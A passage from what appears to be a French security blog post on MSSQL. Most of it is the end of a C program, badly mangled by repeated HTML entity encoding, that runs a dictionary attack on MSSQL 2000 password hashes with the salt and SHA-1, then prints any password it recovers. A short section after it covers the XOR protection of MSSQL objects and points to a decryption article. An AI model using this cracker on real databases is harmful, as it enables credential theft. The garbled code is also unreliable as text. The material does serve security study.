if(strlen(pkey)!=8)
return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\nNormal\t\t: %s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,pnorm);
if(strlen(pnorm)!=40)
return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\nUpper Case\t: %s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,pucase);
if(strlen(pucase)!=40)
return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%s&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%x&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;cmp);
}
else
{
return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;The password hash has an invalid format!\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);
}
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\n\n Trying…\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);
if(!CryptAcquireContextW(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;FAILLLLLLL!!!&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\nEnd of password file. Didn’t find the password.\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;);
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len –;
wp = &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;uwttf;
sscanf(pkey,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%x&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;key);
cnt = cnt – 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; 8;
t = t &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; 16;
t = t &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; 24;
t = t &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt;&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;gt; 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;hHash))
{
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;Error %x during CryptCreatHash!\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;, GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;Error %x during CryptHashData!\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;, GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt &amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;lt; 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;%x&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We’ve found the password
printf(&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;\nA MATCH!!! Password is %s\n&amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;amp;quot;,wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}
[/c]

Chiffrement d’objets MSSQL et protection de la base

MSSQL offre la possibilité de protéger les objets définis dans la base, tels que :

  • Les vues (view – v)
  • Les fonctions (function – fct)
  • Les procédures stockées (stored procedure – sp)
  • Les déclencheurs (trigger)

Ces objets s’avèrent protégés contre l’édition ou même la visualisation de leur code source.

MSSQL exploite un algorithme XOR pour appliquer ces protections. Cet algorithme a très peut varié depuis les premières versions de MSSQL.

Un article complet à ce sujet, sur comment protéger ses objets MSSQL, comment les déchiffrer, et comment améliorer cette protection, a été réalisé pour ASafety ici: Déchiffrement d’objets MSSQL 2000, 2005, 2008 et 2012.

Sources & ressources